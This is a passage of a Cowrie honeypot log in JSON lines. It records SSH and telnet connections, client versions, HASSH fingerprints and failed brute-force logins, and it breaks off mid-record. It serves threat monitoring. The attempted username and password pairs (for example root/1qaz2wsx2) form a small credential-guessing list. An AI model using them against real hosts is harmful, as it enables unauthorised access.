{"eventid":"cowrie.login.failed","username":"root","password":"arbitrum123","message":"login attempt [root/arbitrum123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:23.818632Z","src_ip":"50.6.173.74","session":"0116634f07da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:24.848223Z","src_ip":"50.6.173.74","session":"0116634f07da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":42503,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6f1a660f14a","protocol":"ssh","message":"New connection: 103.248.120.6:42503 (10.17.0.5:22) [session: f6f1a660f14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:27.718156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:27.721869Z","src_ip":"103.248.120.6","session":"f6f1a660f14a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:27.942779Z","src_ip":"103.248.120.6","session":"f6f1a660f14a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liang!@#","message":"login attempt [root/liang!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:28.860262Z","src_ip":"103.248.120.6","session":"f6f1a660f14a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.207","src_port":3370,"dst_ip":"10.17.0.5","dst_port":23,"session":"36c91f505f65","protocol":"telnet","message":"New connection: 66.132.172.207:3370 (10.17.0.5:23) [session: 36c91f505f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:29.897468Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:30.083562Z","src_ip":"103.248.120.6","session":"f6f1a660f14a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":52320,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bb70c39cd96","protocol":"ssh","message":"New connection: 103.15.222.183:52320 (10.17.0.5:22) [session: 5bb70c39cd96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:34.116681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:34.121297Z","src_ip":"103.15.222.183","session":"5bb70c39cd96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:34.354020Z","src_ip":"103.15.222.183","session":"5bb70c39cd96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"30041979","message":"login attempt [root/30041979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:35.054634Z","src_ip":"103.15.222.183","session":"5bb70c39cd96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:36.289853Z","src_ip":"103.15.222.183","session":"5bb70c39cd96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":42888,"dst_ip":"10.17.0.5","dst_port":22,"session":"51694be35528","protocol":"ssh","message":"New connection: 190.244.39.224:42888 (10.17.0.5:22) [session: 51694be35528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:42.673365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:42.681032Z","src_ip":"190.244.39.224","session":"51694be35528","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:42.855304Z","src_ip":"190.244.39.224","session":"51694be35528","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liang!@#","message":"login attempt [root/liang!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:43.528368Z","src_ip":"190.244.39.224","session":"51694be35528","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":46484,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dc78ab68f33","protocol":"ssh","message":"New connection: 91.92.40.176:46484 (10.17.0.5:22) [session: 3dc78ab68f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:44.057173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:44.061156Z","src_ip":"91.92.40.176","session":"3dc78ab68f33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:44.142261Z","src_ip":"91.92.40.176","session":"3dc78ab68f33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"userpass","message":"login attempt [user/userpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:44.392288Z","src_ip":"91.92.40.176","session":"3dc78ab68f33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:44.701694Z","src_ip":"190.244.39.224","session":"51694be35528","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.492955446243286,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:45.390318Z","src_ip":"66.132.172.207","session":"36c91f505f65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:45.474502Z","src_ip":"91.92.40.176","session":"3dc78ab68f33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":58436,"dst_ip":"159.203.135.109","dst_port":22,"session":"10fdbcb0e929","protocol":"ssh","message":"New connection: 178.20.210.208:58436 (159.203.135.109:22) [session: 10fdbcb0e929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:56.636180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:56.642458Z","src_ip":"178.20.210.208","session":"10fdbcb0e929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:56.736170Z","src_ip":"178.20.210.208","session":"10fdbcb0e929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx2","message":"login attempt [root/1qaz2wsx2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:57.104812Z","src_ip":"178.20.210.208","session":"10fdbcb0e929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:58.201678Z","src_ip":"178.20.210.208","session":"10fdbcb0e929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":46168,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed80302b1199","protocol":"ssh","message":"New connection: 103.27.238.120:46168 (159.203.135.109:22) [session: ed80302b1199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:59:23.222513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:59:23.225590Z","src_ip":"103.27.238.120","session":"ed80302b1199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:59:23.493154Z","src_ip":"103.27.238.120","session":"ed80302b1199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maga130891","message":"login attempt [root/maga130891] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:59:24.297466Z","src_ip":"103.27.238.120","session":"ed80302b1199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:59:25.568208Z","src_ip":"103.27.238.120","session":"ed80302b1199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":60896,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ca587fb7d6a","protocol":"ssh","message":"New connection: 31.179.197.26:60896 (159.203.135.109:22) [session: 5ca587fb7d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:59:38.521736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:59:38.525967Z","src_ip":"31.179.197.26","session":"5ca587fb7d6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:59:38.630391Z","src_ip":"31.179.197.26","session":"5ca587fb7d6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lettres","password":"lettres123","message":"login attempt [lettres/lettres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:59:39.085699Z","src_ip":"31.179.197.26","session":"5ca587fb7d6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:59:40.192963Z","src_ip":"31.179.197.26","session":"5ca587fb7d6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.207","src_port":47906,"dst_ip":"10.17.0.5","dst_port":23,"session":"fefa72d14b29","protocol":"telnet","message":"New connection: 66.132.172.207:47906 (10.17.0.5:23) [session: fefa72d14b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:59:45.914486Z"}
{"eventid":"cowrie.session.closed","duration":3.1506145000457764,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:59:49.064932Z","src_ip":"66.132.172.207","session":"fefa72d14b29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.207","src_port":47940,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffca0e999448","protocol":"telnet","message":"New connection: 66.132.172.207:47940 (10.17.0.5:23) [session: ffca0e999448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:59:53.966451Z"}
{"eventid":"cowrie.session.closed","duration":10.538926601409912,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:00:04.505284Z","src_ip":"66.132.172.207","session":"ffca0e999448","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.198.253","src_port":47672,"dst_ip":"159.203.135.109","dst_port":22,"session":"f123e0c6ed9b","protocol":"ssh","message":"New connection: 103.86.198.253:47672 (159.203.135.109:22) [session: f123e0c6ed9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:00:32.181669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:00:32.185063Z","src_ip":"103.86.198.253","session":"f123e0c6ed9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm